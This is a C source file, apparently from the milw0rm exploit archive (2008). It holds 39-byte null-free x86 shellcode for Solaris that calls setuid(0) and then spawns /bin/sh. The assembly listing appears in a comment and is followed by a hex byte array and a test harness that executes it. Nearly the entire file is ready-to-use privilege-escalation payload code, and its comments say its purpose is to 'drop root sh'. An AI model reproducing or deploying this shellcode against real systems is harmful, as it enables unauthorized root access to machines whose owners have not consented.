61 lines
No EOL
1 KiB
C
61 lines
No EOL
1 KiB
C
/*
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; sm4x 2008
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; setuid(0), execve('/bin/sh', '/bin/sh', 0),
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; 39 bytes NizzULL free (you know...)
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; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris
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; quick port to drop root sh - ;) - SunOS is pwnij
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global _start
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_start:
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xor eax, eax
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; --- setuid(0)
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push eax
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push eax
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mov al, 0x17
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int 0x91
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; setup //bin/sh
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push eax
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push 0x68732f6e
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push 0x69622f2f
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mov ebx, esp
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; --- array setup
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push eax ; null
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push ebx ; //bin/sh
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mov edx, esp
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; -- execve()
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push eax ; 0
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push edx ; array { "//bin/sh", 0}
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push ebx ; //bin/sh
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mov al, 0x3b
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push eax
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int 0x91
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; --- exit
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inc eax
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push eax
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push eax
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int 0x91
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*/
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#include <stdio.h>
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char code[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x91\x50\x68"
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"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
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"\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b"
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"\x50\xcd\x91\x40\x50\x50\xcd\x91";
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int main(int argc, char **argv) {
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int (*func)();
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printf("Bytes: %d\n", sizeof(code));
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func = (int (*)()) code;
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(int)(*func)();
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}
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// milw0rm.com [2008-12-02]
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